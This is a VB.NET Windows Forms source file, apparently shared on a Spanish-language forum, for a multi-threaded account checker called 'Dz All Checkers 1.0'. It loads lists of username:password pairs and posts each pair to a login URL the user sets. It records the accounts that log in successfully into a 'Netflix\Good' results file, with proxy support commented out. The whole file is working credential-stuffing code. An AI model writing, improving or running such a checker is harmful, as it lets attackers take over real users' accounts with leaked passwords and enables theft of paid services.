Código:
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text.RegularExpressions
Imports System.Threading
Imports xNet
Public Class Form1
Private dragging As Boolean
Private offset As Point
Dim date1 As String
Public int_0 As Integer
Public int_1 As Integer
Public int_2 As Integer
Public int_3 As Integer
Public int_4 As Integer
Public int_5 As Integer
Public int_6 As Integer
Public int_7 As Integer
Public object_0 As Object = New Object
Private point_0 As Point
' Public proxyType_0 As ProxyType
Public queue_0 As Queue
Public random_0 As Random = New Random
Public string_0 As String()
Public string_1 As String()
Public string_2 As String() = New String(0 - 1) {}
Public string_3 As String() = New String(0 - 1) {}
Private string_5 As String = ""
Public thread_0 As Thread()
Private Declare Function CoInternetSetFeatureEnabled Lib "urlmon.dll" (int_8 As Integer, <MarshalAs(UnmanagedType.U4)> int_9 As Integer, bool_0 As Boolean) As <MarshalAs(UnmanagedType.[Error])> Integer
Private Declare Function CreateRoundRectRgn Lib "Gdi32.dll" (int_8 As Integer, int_9 As Integer, int_10 As Integer, int_11 As Integer, int_12 As Integer, int_13 As Integer) As IntPtr
Private testfile As String = Application.StartupPath & "\Netflix\Good" + "_" & DateTime.Now.ToString("M-d-yyyy_h-m") + ".txt"
Public Sub New()
Me.InitializeComponent()
Control.CheckForIllegalCrossThreadCalls = False
' Me.text_proxyType.SelectedIndex = 0
Me.NumericUpDown1.Value = 100
RichTextBox1.SelectionAlignment = HorizontalAlignment.Center
End Sub
Private Sub Panel1_MouseDown(sender As Object, e As MouseEventArgs) Handles Panel1.MouseDown
Me.dragging = True
Me.offset = e.Location
End Sub
Private Sub Panel1_MouseMove(sender As Object, e As MouseEventArgs) Handles Panel1.MouseMove
If Me.dragging Then
Dim point As Point = MyBase.PointToScreen(e.Location)
MyBase.Location = New Point((point.X - Me.offset.X), (point.Y - Me.offset.Y))
Cursor.Current = Cursors.NoMove2D
End If
End Sub
Private Sub Panel1_MouseUp(sender As Object, e As MouseEventArgs) Handles Panel1.MouseUp
Me.dragging = False
End Sub
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
Dim CP As CreateParams = MyBase.CreateParams
CP.Style = &HA0000
Return CP
End Get
End Property
Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
End
End Sub
Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
WindowState = FormWindowState.Minimized
End Sub
Private Sub Label10_Click(sender As Object, e As EventArgs) Handles Label10.Click
MsgBox("aft", vbInformation, "Dz All Checkers 1.0")
End Sub
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
Using dialog As OpenFileDialog = New OpenFileDialog
dialog.Filter = "Text files | * .txt"
If (dialog.ShowDialog = DialogResult.OK) Then
Me.string_1 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllLines(dialog.FileName)))
Me.int_1 = Me.string_1.Length
Me.MetroLabel_1554.Text = Me.int_1.ToString
End If
End Using
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Using dialog As OpenFileDialog = New OpenFileDialog
dialog.Filter = "Text files | * .txt"
If (dialog.ShowDialog = DialogResult.OK) Then
Me.string_0 = Enumerable.ToArray(Of String)(Enumerable.Distinct(Of String)(File.ReadAllText(dialog.FileName).Replace(";", ":").Split(New Char() {ChrW(10)})))
Me.int_0 = Me.string_0.Length
Me.int_6 = Me.int_0
Me.MetroLabel_1555.Text = Me.int_0.ToString
End If
End Using
End Sub
Public Sub method_5()
' Dim proxyAddress As String = Me.string_1(Me.random_0.[Next](0, Me.int_1))
While Me.queue_0.Count > 0
Dim obj As Object = Me.object_0
Dim flag As Boolean = False
Dim obj2 As Object
Dim text As String
Try
Dim expr_29 As Object = obj
obj2 = expr_29
Monitor.Enter(expr_29, flag)
Try
text = Me.queue_0.Peek().ToString().TrimEnd(New Char() {vbCr}).Trim()
Me.queue_0.Dequeue()
Catch ex As Exception
End Try
Finally
If flag Then
Monitor.[Exit](obj2)
End If
End Try
Dim array As String() = text.Split(New Char() {":"c})
Try
Using httpRequest As HttpRequest = New HttpRequest()
' httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
Dim cookies As CookieDictionary = New CookieDictionary(False)
httpRequest.Cookies = cookies
httpRequest.IgnoreProtocolErrors = True
httpRequest.ConnectTimeout = TextBox6.Text '25000
httpRequest.AllowAutoRedirect = True
httpRequest.KeepAlive = True
httpRequest.UserAgent = Http.ChromeUserAgent()
httpRequest.Referer = TextBox2.Text
httpRequest.KeepAliveTimeout = TextBox7.Text
'
'Dim string_ As String =httpRequest.[Get]("http://www..org/index.php/account/login").ToString()
Dim string_ As String = httpRequest.Post(TextBox2.Text).ToString()
' Dim value As String = Form1.smethod_0(string_, "data-reactid=""36""/><input type=""hidden"" name=""authURL"" value=""", """ data-reactid")
httpRequest.AddParam(TextBox4.Text, array(0))
httpRequest.AddParam(TextBox5.Text, array(1))
Dim text2 As String = httpRequest.Post(TextBox2.Text).ToString()
RichTextBox2.Text = text2
If text2.Contains(TextBox3.Text) Then
Dim str As String
If text2.Contains(TextBox3.Text) Then
str = "cuenta"
Else
str = "_"
End If
obj = Me.object_0
Dim flag2 As Boolean = False
Try
Dim expr_222 As Object = obj
obj2 = expr_222
Monitor.Enter(expr_222, flag2)
System.Array.Resize(Of String)(Me.string_2, Me.int_2 + 1)
Me.string_2(Me.int_2) = "---------------------Account---------------------" & vbNewLine & text & vbNewLine + "Subscription = " + str & vbNewLine
Me.int_2 += 1
Me.int_5 += 1
Me.int_6 -= 1
Continue While
Finally
If flag2 Then
Monitor.[Exit](obj2)
End If
End Try
End If
obj = Me.object_0
Dim flag3 As Boolean = False
Try
Dim expr_29E As Object = obj
obj2 = expr_29E
Monitor.Enter(expr_29E, flag3)
Me.int_3 += 1
Finally
If flag3 Then
Monitor.[Exit](obj2)
End If
End Try
Me.int_5 += 1
Me.int_6 -= 1
End Using
Catch
Me.int_7 += 1
Me.queue_0.Enqueue(text)
' proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_1))
End Try
End While
If Me.int_5 = Me.int_0 Then
Me.method_6()
End If
End Sub
Public Sub method_6()
For i As Integer = 0 To Me.int_4 - 1
Me.thread_0(i) = New Thread(New ThreadStart(AddressOf Me.method_5))
Me.thread_0(i).IsBackground = True
Me.thread_0(i).Abort()
Next
End Sub
Public Shared Function smethod_0(ByVal string_6 As String, ByVal string_7 As String, ByVal string_8 As String) As String
On Error Resume Next
Return Regex.Match(string_6, (string_7 & "(.*?)" & string_8)).Groups.Item(1).Value
End Function
Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
Dim num As Integer = 100
Try
num = Integer.Parse(Me.TextBox1.Text)
Catch obj1 As Exception
End Try
Me.NumericUpDown1.Value = num
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Me.MetroLabel_1558.Text = Me.int_2.ToString
Me.MetroLabel_1556.Text = Me.int_3.ToString
Me.Label9.Text = Me.int_5.ToString
' Me.Label9.Text = Me.int_7.ToString
If (Me.int_2 <> Enumerable.Count(Of String)(Me.RichTextBox1.Lines)) Then
Me.RichTextBox1.Lines = Me.string_2
End If
End Sub
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
Try
Directory.CreateDirectory(String.Concat("Netflix\"))
If Me.int_0 = 0 Then
MessageBox.Show("Load Accounts.")
' ElseIf Me.int_1 = 0 Then
' MessageBox.Show("Load Proxies.")
Else
' Select Case Me.text_proxyType.SelectedIndex
' Case 0
'Me.proxyType_0 = ProxyType.Http
'Case 1
'Me.proxyType_0 = ProxyType.Socks4
'Case 2
'Me.proxyType_0 = ProxyType.Socks5
'Case Else
'MessageBox.Show("Choose Proxy type")
'Return
'End Select
Me.int_2 = 0
Me.int_3 = 0
Me.string_2 = Nothing
Me.string_3 = Nothing
Me.int_5 = 0
Me.int_7 = 0
Me.int_6 = Me.int_0
Me.queue_0 = New Queue()
For i As Integer = 0 To Me.int_0 - 1
Me.queue_0.Enqueue(Me.string_0(i))
Next
Me.int_4 = Convert.ToInt32(Me.NumericUpDown1.Value)
Me.thread_0 = New Thread(Me.int_4 - 1) {}
For j As Integer = 0 To Me.int_4 - 1
Me.thread_0(j) = New Thread(New ThreadStart(AddressOf Me.method_5))
Me.thread_0(j).IsBackground = True
Me.thread_0(j).Start()
Next
Me.Timer1.Enabled = True
End If
Catch ex As Exception
End Try
End Sub
Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
Try
RichTextBox1.SaveFile(testfile, RichTextBoxStreamType.PlainText)
Catch ex As Exception
End Try
End Sub
Private Sub Label15_Click(sender As Object, e As EventArgs) Handles Label15.Click, Label16.Click
End Sub
End Class